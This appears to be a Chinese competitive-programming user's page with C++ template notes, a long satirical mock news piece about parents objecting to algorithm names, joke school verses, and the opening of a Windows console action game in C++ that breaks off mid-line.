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    最下面有惊喜 priority_queue<int, vector, greater > q; //默认把最小的放在最前面

    priority_queue q; //默认把最大的放在最前面

    #include<bits/stdc++.h> using namespace std; int main(){ vector v; //创建动态数组 vector v[105]; //动态二维数组 v.push_back(); //加入动态数组尾 v.pop_back(); //删除动态数组尾 sort(v.begin(),v.end()); //从头到尾从小到大排序 v.size(); //长度 v.pop_back(); //删除末位元素 v.clear(); //清空数组 v.front(); //数组首 v.back(); //数组尾 for(int i : v) cout<<i<<" "; //输出数组内容 for(int i=0;i<n;i++) cout<<v[i]<<" "; //输出数组内容 memset(a,0,sizeof a); return 0; } vector

    #include<bits/stdc++.h> using namespace std;

    int l, r; int main(){ //求某一个范围内的最小值 while(l <= r){ int mid = (l + r) / 2; //如果mid不是我们想要的,返回1 if(check(mid)) l = mid + 1; else r = mid - 1; } cout << l;

    //求某一个范围内的最大值
    while(l <= r){
    	int mid = (l + r) / 2;
    	//如果mid不是我们想要的,返回1
    	if(check(mid)) r = mid - 1;
    	else l = mid + 1;
    }
    cout << r;
    return 0;
    

    }

    近日,洛谷网络科技有限公司多位用户家长向kkksc03反映,部分算法存在血腥、暴力等不利于青少年儿童的因素出现,要求对相关算法进行整改或从+CCF+考纲删除。+洛谷网络科技有限公司题目组管理员在接受采访时说道,在最近几天内,洛谷收到了数十条家长来信,声称网站教授的部分算法存在“血腥”、“暴力”等内容。“他们说这些东西会教坏他们家的孩子,要求我们整改这些算法,把这些对小朋友不太好的东西删掉,或者直接把算法从+CCF+考纲删除。”+随着国庆+(雾)+的到来,很多家长直接来到洛谷反映情况。记者在现场随机采访了几位家长,询问他们对这些算法的看法。+近视的徐家长和记者说:“孩子天天在电脑看什么c艹,+我真怕他以后出口成脏,这种东西怎么可以让孩子接触,完完全全违背了中华民族传统美德啊!”(添加自Kauai)+来自江苏的马先生说:“我儿子自从学了那什么拓扑排序,天天搁那说什么要删除父亲,删除祖先什么的,这对孩子的身心影响多大啊!要是以后孩子闲着没事就砍他爷爷玩,那可怎么办!”(添加自totGOD)+北京的家庭主妇宣女士激烈地表示:“我女儿现在天天学什么平衡树,说什么暴力重构,然后拍平,还有什么平板电视,左旋右旋。要是孩子热衷于把人肢解重构,玩平板游戏,把树旋来旋去,这样对孩子地身心有多么大地危害啊!!!没救了……”(添加自int32)+邵女士表示自己的儿子整天泡在一个叫什么+AT+什么的日本网站上,还成天说+ARC,好像是音游的样子。“日本网站上什么都有,鱼龙混杂,还有现在的孩子这么沉迷音游怎么行呢!”(添加自int114514)+来自浙江的林先生说:“我儿子学完编程后说kkk是他的偶像,这么小就主张暴力行为和种族歧视,没救了。”(添加自轮回)+保安王先生表示:“这优先队列必须删去,竟然明目张胆的教孩子们分出优先级,让他们不再明白人人平等怎么办?不再明白要遵守先来后到怎么办?”(添加自太极)+工作繁忙的郑叔叔也嚷到“他每天都什么+AC+AC+的,一整天都说这个,不就沉沦在+AcFun+里面了吗?有时候还会说+WA,天天听歌可不好”(添加自bilibilidasc)+by+559616+340663+112917+544459+281497+140360+刘女士的儿子正在洛谷学习普及组内容。在采访中刘女士告诉记者,希望洛谷停开匈牙利算法。“我看里面讲的都是些一一匹配啊、二分图啊之类的匹配问题,这不是教孩子怎么找npy么?那他以后岂不是学会早恋了?”王先生也有类似的想法。他要求洛谷整改月赛内容。“听说课程里面有‘选妹子’,要是小朋友被女拳打了该怎么办?+太危险了!”+来自喜欢听歌的周女士说%3A“我儿子每天在哪里说什么梦想是AK+IOI%2C+IOI不是韩国女子演唱组合吗?这样让孩子每天追星,心思都不在文化课上,岂不是废了他的前途了吗!”(添加自SunSky2009)+刚刚受过车祸的吕先生在病床上嚷嚷道:“我女儿最近一直在学什么位运算,还什么位移,万一习惯位移到马路上,被车撞个三长两短,那怎么行!”(添加自explpl2007)+李女士说,“有些小朋友在学习算法的时候,有点嫌烦,因为每次走进机房就发现要学的东西太多,就自删了写了一半的博客,过了一个月左右他又回来做这件事,我觉得这样不好,会培养人的懒惰意识,半途而废意识”(添加自€€£)+来自广州的郑先生也反映:“我儿子天天说JC。JC+的意思不是女初中生吗?小小年纪成天不学好!我看啊,编程这东西就是打着幌子传播一些不良的内容吧,必须举报!”(添加自小宁)+“有些小朋友在lg上发帖喜欢违规自杀,这样子严重损害了他们的身心健康,我们哪里有美好的未来”(添加自F4)+by+157561+281497+72118+341741+热心市民王女士说%3A"我儿子天天说什么FFT%2C这不是教小孩子们打游戏吗?这样孩子还怎么进步呀,考不上大学就是你们的问题!(添加自小可爱萌萌哒)+化学家陈女士哭诉:“我儿子学完编程后吵着要AFO,焦油酸多危险,喝多了致癌!可不能让他有生命危险啊!”(添加自fanruiyang)+郭先生提到计算几何里有对凸包进行旋转卡壳的操作。“好像是什么拿一条线绕一个凸的图形,我建议立即取消这一部分,我可不希望我孩子长大后去大街上看见什么凸的就用手抚弄上去!”(添加自AThS)+有一些热心家长反映,孩子在学C%2B%2B的时候,难免会接触到不良信息。“我家孩子在上网时,有人引诱我孩子接触Python,这种危险的动物,能随便接触吗?”+“还有,洛谷网站里经常出现‘AK’之类的字眼,这明显是让我孩子接触武器和暴力啊,怎么能不禁呢?”(添加自19ty84)+在某派出所当警察的王先生对记者说:“孩子在机房不学好,竟然去了解机房惨案,如果到时候我家孩子在学校机房里面干出什么杀人放火的事情,我作为一个警察的颜面还怎么靠得住?”张女士说:“我家孩子喜欢打+AT,这让我很是气愤,AT+不是一款+网络游戏+吗?孩子不好好学编程还净想着玩游戏,长大以后他怎么可能会有出息啊!我真的急死了!”(添加自eac)+宿小姐称,她的孩子喜欢在网上做一些数学题,但是这里面有很大的安全隐患。“像题目中经常有+998244353+之类的数字,这么长的数字一口气读下来容易把孩子憋死,太危险了,必须封杀。”(添加自KEB)+张先生说:“最近我发现,+孩子竟然在看什么套娃。+现在就想套娃,+以后想干什么,+我都不敢想了,+要是以后套了人家钱怎么办。所以,+一定要出重拳。”(添加自BC)+当不少家长得知+“暴力”+算法又称+“朴素”+算法时群情激愤。胡女士表示:“+明明是暴力却说成是勤俭持家,这不会扭曲孩子的价值观吗?+”(添加自璇__)+刘先生也表示,“最近我家孩子在学什么线段树,我是真的怕我家孩子画树画成了线段,对美术方面的发展很不好啊!”(添加自JasonYoung和开普勒的梦)+还有家长表示:“孩子做数论题的时候,总是说+gcd+什么的,都说这么政治敏感的话题吗?”(添加自Nobodythere)+环卫工人谢先生抱怨道:“我儿子一天到晚在做什么深度优先搜索,还老是嚷嚷着要剪枝,小小年纪就学会乱砍乱伐,给环境造成多大麻烦,那怎么行!得赶紧禁止开设这类课程!(添加自Universal_xtr)+还有一些家长对字符串算法很有意见“我儿子最近在学trie树,这难道不会引诱他去破坏花草树木吗?实在太恶劣了,一定要封杀!”(添加自bigju)+王先生也向记者讲述了自己的经历:当时听了一会自己孩子学并查集的课程,第二天就忍不住破口大骂:“什么并查集,还叫人把自己祖宗认成父亲,一开始还什么,自己祖宗是自己,这像话吗,这不是教坏小孩乱认辈分吗?”(添加自xiong_wen_xuan)+来自浙江的蔡先生的举报:孩子天天说要出去打什么WC,厕所里那么脏,万一衣服脏了还是我洗。。。(添加自艾伦—耶格尔)+有大量家长反映,孩子在使用DEVC%2B%2B编程的时候竟然不需要实名认证!他们顺藤摸瓜,进而发现市场上大部分编程软件居然都没有实名认证的功能。+“这真是太危险了,无法想象有多少孩子正沉迷于编程中而荒废了生活,应该尽快下架一切编程软件!”李先生对着话筒高呼。(添加自sixdot)+连冯奶奶都发话了:“我在银行办事,有些人天天学DP+(付款交单),一手交钱一手交货,这样挺好,能够让孩子诚信待人。”(添加自run_after_dream)+还有热心家长说:“孩子天天回家讲什么群的封闭性,你们怎么能教他在自己的群体中形成排外倾向呢?”(添加自w33z8kqrqk8zzzх33)+甚至一个沉迷游戏的李先生都忍不住了:“我看我孩子天天和我说什么熬夜打CF(游戏圈里是穿越火线),这对孩子的生长发育多不好,落下病根那不就相当于断送前程吗?我要求关闭中国向CF的所有路径!”(添加自xiong_wen_xuan)+同时,也有些对算法略知一二的市民强烈抵制+STL,梁先生就是其中一位。“STL+把很多模板合在了一起,原来需要几十行的代码,现在只要两三行就行了。+这样会使孩子们养成偷懒甚至投机取巧的坏习惯,我见过太多太多的孩子,连快排都不会写,都是sort()一遍过的。这样下去,孩子们怎么进步?”(添加自一只大龙猫)+少部分家长反馈:“孩子天天喊着要松松松,万一患了骨质疏松症可怎么办啊!”(添加自SSL_wj)+还有家长反映,建议移除PAM(回文自动机),SAM(后缀自动机),天天学什么自动机,这是在教孩子们偷懒!还有那个AC自动机,都能自动AC了,还怎么继续学习!(添加自hz_fuyu)+欧阳小姐说,“csp这么像scp,这会使孩子们被邪典腐蚀!这里面都是些超自然故事,孩子了解了精神失常怎么办啊!”(添加自hz_fuyu)+朱先生也表明,CCF就是我不知道你在说什么的缩写,现在就叫他们不要知道,长大了,不是什么都不会吗?+还有,ccf反过来就是fcc,不就是通讯委员会吗,孩子们的大好年华都浪费在这些事情上了,+长大了有什么用啊,又不打地道战?!(添加自tangziqi1101)+认为数据结构太危险、容易伤到孩子,是很多家长的共同心声。王大爷今年已经六十多岁了,却依然专程跑到学校,高呼停止教授Splay树和Treap树。他说,自家的孙子很小的时候撞到树上过,他担心这两棵树会给孩子造成心理阴影。+曾经是英语博士生的吴奶奶也向记者反映:“我家孙女就是学OI的,你看,O就像一个嘴,I就像一根棍子,这种教坏孩子的东西,怎么能学习?一定要管!”(添加自昒昕)+王先生了解到儿子未来想打ACM,但他发现许多选手都是华裔,他向记者说道:“这c%2B%2B不就是外国人发明的吗?他们就是想把我们国家未来的精英挖走!不行!建议移除c语言!”(添加自hz_fuyu)+记者深入到小区调查,曾经当过英语老师的李奶奶补充到:“我孙子就是学这个的,天天CCF,CCF,CCF不就是海岸部队指挥官(Captain%2C+Coastal+Forces)吗!教小孩子战争的东西国家怎么还不禁掉?”(添加自WZKQWQ)+此外,最大流、费用流等算法也遭到了部分家长的抵制。“主要还是玩水不安全嘛,”陈女士说,“孩子们看到这些流啊、流量啊、回家就很可能会下水去游泳,我们当家长的还是不放心嘛。”而张先生的态度则更为坚决:“现在就敢玩水,将来敢玩什么,我都不敢想了!”+热心家长梁先生也反映:“你们算法的那个分块,也太少儿不宜了吧?今天把数据分块了,长大了要是把一个人分块了怎么办?+会给小孩子暴力倾向!+还有骗分这种行为,本身就是不对的,我家小孩子已经学会得过且过了。”(添加自The_BJX)+同样作为算法,《深入浅出程序设计竞赛》受到抵制的理由则有很大不同。吴先生告诉记者:“主要是,这个(深入浅出程序设计竞赛的教材)太厚了,得有好几斤重,网上小孩子如果嬉戏打闹,拿着这本书到处乱甩(的话),非常危险。+要是碰到头的话,那肯定会把头磕破的,你说这个责任由谁来承担?”+在众多算法中,家长抵制呼声最高的则是图论算法。在家长看来,有的算法要找环,会绕晕到孩子;画图用的笔可能会戳伤手指;很多算法在搜索的时候可能会把系统栈用爆;有些算法写错了要输中量参解改很久,可能会累到小朋友,“把我家小孩累死了该怎么办?”+除了担心孩子们的安全外,对孩子生活习惯的影响也成为了家长们抵制课程的要素之一。叶女士告诉记者,她希望洛谷整改全部英语题面。叶女士的儿子才考普及组,却已经学会了shxt,fxxk等高级词汇。“孩子现在出口就是这种词,影响很不好,肯定是洛谷的题面教的。”叶女士说。+此外,热心市民刘先生也说:“听说孩子的代码会被SSH偷走,这对代码安全怎么保证,对孩子来说太危险了。”(添加自违规用户名9iL(8Z)+同样,李先生对于洛谷的bfs%2C+dfs%2C+bdfs算法也颇有微词。“我们还是想给孩子营造一个健康的成长环境嘛,我看课上,居然让小朋友们去暴力遍历图啊、暴力找答案啊,这不是教小朋友们暴力么?平时打打杀杀的动画片我都不让自家小孩看,更不要说动手去做这些了。”+更进一步,一些热心群众也积极举报了FFT(快速傅里叶变换)、NTT(快速数论变换)、FWT(快速莫比乌斯变换)。他们表示:“这些算法教小孩子快速的变化,这样怎么能守住本心,不忘初心呢。这种与主旋律相悖的东西一定要封杀掉!”(添加自le0n)+另外,赵先生向记者表示,他发现儿子正在学习一种名为反悔贪心的算法:“真是太过分了!这不是在教小孩子有二心吗?”吴女士也有类似的担忧:“我看到我女儿经常在一个名字叫+codeforces+的网站上做题,这有可能是境外势力的文化入侵啊。”(添加自function_of_zero)+此外,一些非盈利机构也遭到了家长的抵制。很多家长认为,玩电脑是影响自家小孩学习的关键原因,因此强烈要求洛谷取缔CCF,并取消相关竞赛。NOIP首当其冲,周先生接受采访时说道:“听说这门课要学生们自己学习算法,要是真把算法学好了,不就会有更多小朋友沉迷电脑么?如果他们不学算法的话,我们的小孩就不会这么贪玩电脑了。”同样,一些家长也对浏览器表示不满:“没有浏览器,小朋友们自然就不会沉迷上网了。”+陈女士同时要求取缔信息学奥赛。陈女士说:“诶我家孩子这么小,你们就让他去竞争,不能从小带给孩子什么事都要竞争的意识啊。+还有,你们让他表面上去学那个什么信息,其实早就被我看穿了,你们就是想培养他长大当黑客!+你们不带他学好怎么可以!”(添加自Hawthorn_Flow)+让记者感到惊奇的是,很多家长对一些计算机基础数学内容也有较大的意见。部分家长要求下架《组合数学》+《混凝土数学》等课程。在问及原因时,家长告诉记者,文中的感叹号很像一根棍子,会引发小朋友的暴力倾向。+不仅如此,医学教授章先生告诉记者,“不应该向小朋友讲cin,毕竟,那么早就让小朋友们知道癌症的真相,总是不好的!”(添加自开普勒的梦)+章先生又说:“孩子小小年纪就了解std,难道长大后就只能学医吗?”(添加自jr_inf)+章先生补充说:“学什么莫比乌斯反演,反演就是反着演化,会让人类文明倒退的啊,你们在做什么啊喂!!!”(添加自SolitaryLyrique)+针对此事,记者尝试联络洛谷网络科技有限公司的管理员。管理员回复称,kkksc03校长正在忙于建设世界一流+OJ,暂未就此事件给予答复。+不过,也有少数家长对一些算法表示支持。一位家长告诉记者,希望学校着力建设《编程语言基础》课程。“孩子如果在学校学好语言这些东西的话,回让他搬砖的时候应该能更好一些。

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    文采! 英语不及格,说明我爱国;

    语文不及格,恋爱没资格;

    物理不及格,电死不负责;

    化学不及格,硫酸也喝得;

    政治不及格,老师没道德;

    信息不及格,网吧要打折;

    数学不及格,突出我性格;

    历史不及格,社会要改革;

    全科不及格,老妈动真格!

    语文老师一回头,此地空余黄鹤楼。

    数学老师一回头,二次函数对称轴。

    英语老师一回头,sorry加上thank you。

    化学老师一回头,二氧化碳变汽油。

    物理老师一回头,一跟杠杆撬地球。

    生物老师一回头,试管婴儿水中游。

    地理老师一回头,大陆版块乱漂流。

    历史老师一回头,秦始皇来推铅球。

    劳技老师一回头,破铜烂铁来走秀。

    政治老师一回头,布什改行卖豆油。

    美术老师一回头,蒙娜丽莎也风流。

    体育老师一回头,奥运取消打篮球。

    电脑老师一回头,学生全成阿Q友。

    全体老师一回头,世界人民没自由。

    骗分过样例,暴力出奇迹。

    数学先打表,DP看运气。

    穷举TLE,递推UKE。

    模拟MLE,贪心还CE。

    想要骗到分,就要有方法。

    图论背模板,数论背公式。

    动规背方程,高精背代码。

    如果都没背,干脆输样例。

    模拟只会猜题意,贪心只能过样例;

    数学上来先打表,DP一般看规律.

    组合数学靠运气,计算几何瞎暴力;

    图论强行套模板,数论只会GCD.

    递归递推伤不起,搜索茫然TLE;

    分治做得像枚举,暴力枚举数第一.

    数据结构干瞪眼,怒刷水题找信心;

    涨姿势也不容易,考试一来全懵逼! 语文老师一回头,此地空杀黄鹤楼

    数学老师一回头,二次函数对称轴

    英语老师一回头,sorry加上3克油

    历史老师一回头,世界大战再回首

    体育老师一回头,乔丹改打乒乓球

    信竞老师一回头,带着学生玩网游

    化学老师一回头,二氧化碳变汽油

    音乐老师一回头,打着节拍摇着头

    物理老师一回头,阿基米德要跳楼

    地理老师一回头,校门发生泥石流

    美术老师一回头,蒙娜丽莎也风流

    生物老师一回头,全班同学都梦游

    政治老师一回头,人类发展到尽头

    全体老师一回头,从此宇宙无地球

    写作业等于浪费时间,时间就是金钱,XX说金钱就是粪土,所以写作业等于消耗粪土。我们是祖国的花朵,而花朵需要粪土培养,所以写作业就等于消耗我们的生命!!!让我们珍惜生命,放下手中的作业吧!!!!!

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    ios::sync_with_stdio(0);加速

    
    
    
    #include<bits/stdc++.h>
    彩#include<windows.h>蛋:茶叶蛋跳进水里变成了核弹
    #include<stdio.h>
    #include<conio.h>
    #include<time.h>
    #define Nor if(B[b].x<5) B[b].x=5;
    #define Out1 Bx1-Bvx1<=6||Bx1-Bvx1>=28||By1-Bvy1<=7||By1-Bvy1>=27
    #define Out2 Bx2-Bvx2<=6||Bx2-Bvx2>=28||By2-Bvy2<=7||By2-Bvy2>=27
    #define Chang1 {Bwhat1=0;Bvx1=Bvy1=0;memset(Bgo1,0,sizeof(Bgo1));}
    #define Chang2 {Bwhat2=0;Bvx2=Bvy2=0;memset(Bgo2,0,sizeof(Bgo2));}
    #define Chang3 {Bwhat3=0;Bvx3=Bvy3=0;memset(Bgo3,0,sizeof(Bgo3));}
    using namespace std;
    int ti(float a) {return ((int)(a*10+5))/10;}
    void Setpos(float x,float y){COORD pos;pos.X=ti(y*4)/2;pos.Y=ti(x);SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}
    void Color(int a){if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_BLUE);if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE);if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);if(a==14) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);}
    int Blomax,Ren,Exp,Expmax,Lv,Lvl,Ice,Drug,ar1,ar2,Tar1,Tar2,bl,br,Win,T,Tb,Sy,Up,Upt,Down,u1,u2,Kill,Killb,L,Ll[4],Li,D,Gd[10],Biao,Fire,Fir,fir[4],Water,Thun,Wind,Magne,I[20][2],ib,Dis,Disb,Dis1,Disb1,Boss,Bblo,Bblomax,Bwhat1,Bwhat2,Bwhat3,Bgo1[10],Bgo2[10],Bgo3[10],Bbr,Bbl,Bl[4];
    float X,Y,Vx,Vy,Ding,Blo,Hui,Bx1,By1,Bx2,By2,Bx3,By3,Bvx1,Bvy1,Bvx2,Bvy2,Bvx3,Bvy3,Bway[1001][2];
    struct bullet{float x,y,vx,vy;int what;int a,t,How;int life;bool kill;}B[100001];
    void Map(int a,int b);
    void Pan(int a,float x,float y,int b){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){
            if(a==-1){if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {if(B[b].what==-10)Exp+=2;if(B[b].what==-11)Exp+=1;B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
            if(a==-2){if(abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what==-2)Exp+=5,Biao+=5;if(B[b].what==-3)Fire=300,Ice=0,Fir=3;if(B[b].what==-4)Water=200;if(B[b].what==-5){Wind=70;Ding=28.25;Ice=0;if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(B[b].what==-6){Thun=200;system("color 1F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");}if(B[b].what==-7)Magne=300;if(B[b].what==-8)Ice=0,Drug=0,Blo=fmin((float)Blomax,Blo+20);if(B[b].what==-9)Exp=fmin((float)Expmax,Exp+20);B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
        }if(Wind==0&&Thun==0&&(B[b].kill!=0||Killb>=15||Ren==1&&Killb>0)) return;
        for(int i=0;i<3;i++){
            if((Wind>=1||Thun>=1)&&abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}
            if(a==1) {if(abs(x-Nox[i])<0.5&&abs(y-Noy[i])<1) {if(B[b].what>=99)Blo-=10;if(B[b].what==14)Blo-=15,Ice=100,B[b].life=0;else if(B[b].what==15)Blo-=20,Ice=0,B[b].life=0;else if(B[b].what==17)Blo-=5,Drug=100,B[b].life=0;else if(B[b].what>=13&&B[b].what<=17)Blo-=10,B[b].life=0;else Blo-=15;B[b].kill=1,Killb=20;Kill=1;Map(3,b);break;}}
            if(a==2||a==6||a==8||a==9||a==10||a==11||a==12) {if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {if(a==2)Blo-=20;else if(a==8)Blo-=10;else Blo-=15;B[b].kill=1,Killb=20;Kill=1;if(a!=2){B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}}
            if(a==4) {if((Wind>=1||Thun>=1)&&abs(x-Nox[i])<1.5&&Noy[i]-y<=0&&Noy[i]-y>=-8) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}if(abs(x-Nox[i])<1&&Noy[i]-y<=0&&Noy[i]-y>=-8) {Blo-=25,B[b].kill=1,Killb=20;Kill=1;Vy=-1;Y-=0.5;break;}}
        }
    }
    void Map(int a,int b){
        Color(0);
        if(a==-1){
            if(Boss==1||Boss==6){if(Bwhat1==5){if(ti(Bx1)==20)Setpos(Bx1,By1),cout<<"==";else Setpos(Bx1,By1),cout<<"  ";}else{Setpos(Bx1-1,By1-0.5),cout<<"    ";Setpos(Bx1,By1-1),cout<<"      ";Setpos(Bx1+1,By1-0.5),cout<<"    ";if(abs(ti(Bx1)-20)<=1)Setpos(20,By1-1),cout<<"======";}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);cout<<"    ";Setpos(Bx2,By2-1);cout<<"      ";Setpos(Bx2+1,By2-1),cout<<"      ";Color(0);if(abs(ti(Bx2)-20)<=1)Setpos(20,By2-1),cout<<"======";}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);cout<<"     ";Setpos(Bx3,By3);cout<<"  ";Setpos(Bx3+1,By3-1),cout<<"      ";Color(0);if(abs(ti(Bx3)-20)<=1)Setpos(20,By3-1),cout<<"=======";}
            if(X<0)return;if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X+1,Y-1),cout<<"   ";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X-1,Y-1),cout<<"    ";}else if(X>23){Setpos(X,Y-1);cout<<"    ";Setpos(X-1,Y-0.5),cout<<"   ";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-1.5),cout<<"    ";}else if(X<17){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-0.5),cout<<"   ";}if(Thun>0){Setpos(X-2,Y-1),cout<<"    ";Setpos(X+2,Y-1),cout<<"    ";Setpos(X,Y+2),cout<<"  ";Setpos(X,Y-2.5),cout<<"  ";Setpos(X-1,Y+1),cout<<"  ";Setpos(X+1,Y+1),cout<<"  ";Setpos(X-1,Y-2),cout<<"  ";Setpos(X+1,Y-2),cout<<"  ";Setpos(20,Y-2.5),cout<<"============";}if(Wind!=0){Setpos(X+1,Y-5);cout<<"        ";Setpos(X,Y-5);cout<<"        ";Setpos(X-1,Y-5);cout<<"        ";Setpos(20,Y-5),cout<<"========";}if(Water!=0){Setpos(X,Y-4);cout<<"       ";Setpos(X+2,Y-3.5);cout<<"     ";Setpos(X-2,Y-3.5);cout<<"     ";Setpos(X+1,Y-3.5);cout<<"     ";Setpos(X-1,Y-3.5);cout<<"     ";Setpos(20,Y-5),cout<<"========";}if(Fire!=0){Setpos(X,Y+1),cout<<"  ";Setpos(X+1,Y),cout<<"  ";Setpos(X-1,Y-1),cout<<"  ";Setpos(20,Y-1);cout<<"======";}
        }
        if(a==0){
            if(Boss==1||Boss==6){if(Bwhat1==5)Color(5),Setpos(Bx1,By1),cout<<"█",Color(0);else if(Bwhat1==4&&Bgo1[1]>6&&Bgo1[1]<11)Color(4),Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"︻",Setpos(Bgo1[5],Bgo1[6]-1),cout<<"【",Setpos(Bgo1[5],Bgo1[6]+1),cout<<"】",Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"︼",Color(0);else{Setpos(Bx1-1,By1-0.5),Color(0),cout<<"●●";Setpos(Bx1,By1-1);if(Bwhat1==2&&Bgo1[1]<=5)Color(1);else if(Bwhat1==3&&Bgo1[1]<=5)Color(5);else if(Bwhat1==6&&Bgo1[1]<=5)Color(8); else Color(4);if(Bwhat1==4) Setpos(Bx1,By1-0.5),cout<<"██(";else cout<<")██(";Setpos(Bx1+1,By1-0.5),cout<<"……";Color(0);}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);Color(0),cout<<"\\ ";Color(0);cout<<"●";Setpos(Bx2,By2-1);Color(3);cout<<"◥";Color(5),cout<<"JJJ";Color(0),cout<<">";Color(3);Setpos(Bx2+1,By2-1),cout<<"◢█◣";Color(0);}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);if(Bwhat3==3||Bwhat3==9) Color(1);else if(Bwhat3==4||Bwhat3==10) Color(4);else if(Bwhat3==5||Bwhat3==11) Color(5);if(Bwhat3==11)cout<<' ';else if(Bwhat3==6) Color(3);else Color(2);cout<<"●-";Setpos(Bx3,By3);if(Bwhat3==11)cout<<"/";else cout<<"┃";Color(0);Setpos(Bx3+1,By3-1),cout<<"●●●";}
            if(X<0)return;if(Ren==2) Color(12);if(Ren==3) Color(1);if(Ren==4) Color(3);if(Ren==5) Color(4);if(Ren==6) Color(2);if(Drug!=0&&T%5!=0) Color(11);if(Drug!=0&&T%5==0) Color(11);if(Ice!=0) Color(6);if(b==1) Color(8);if(Li!=0) Color(5);if(Ren==1&&Killb>0&&T%4<2) Color(13);if(Wind>0&&T%4<=1) Color(1);if(Wind>0&&T%4>=2) Color(0);if(Thun>0&&T%4<=1) Color(1);if(Thun>0&&T%4>=2) Color(6);
            if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━/";if(T%10<3) Setpos(X+1,Y-1),cout<<"┛╲";else if(T%10<6) Setpos(X+1,Y-1),cout<<"┦ ";else Setpos(X+1,Y-1),cout<<"╯>";if(Wind>0&&T%3==0) Setpos(X+1,Y-1),cout<<"┛╲";else if(Wind>0&&T%3==1) Setpos(X+1,Y-1),cout<<"┦ ";else if(Wind>0&&T%3==2)Setpos(X+1,Y-1),cout<<"╯>";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━\\";if(T%10<3) Setpos(X-1,Y-1),cout<<"┓╱";else if(T%10<6) Setpos(X-1,Y-1),cout<<"┪ ";else Setpos(X-1,Y-1),cout<<"╮>";if(Wind>0&&T%3==0) Setpos(X-1,Y-1),cout<<"┓╱";else if(Wind>0&&T%3==1) Setpos(X-1,Y-1),cout<<"┪ ";else if(Wind>0&&T%3==2)Setpos(X-1,Y-1),cout<<"╮>";}else if(X>23){Setpos(X,Y-1);cout<<"━ ●";Setpos(X-1,Y-0.5),cout<<"│>";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-1.5),cout<<"╱ >";}else if(X<17){Setpos(X,Y-1);cout<<"━ 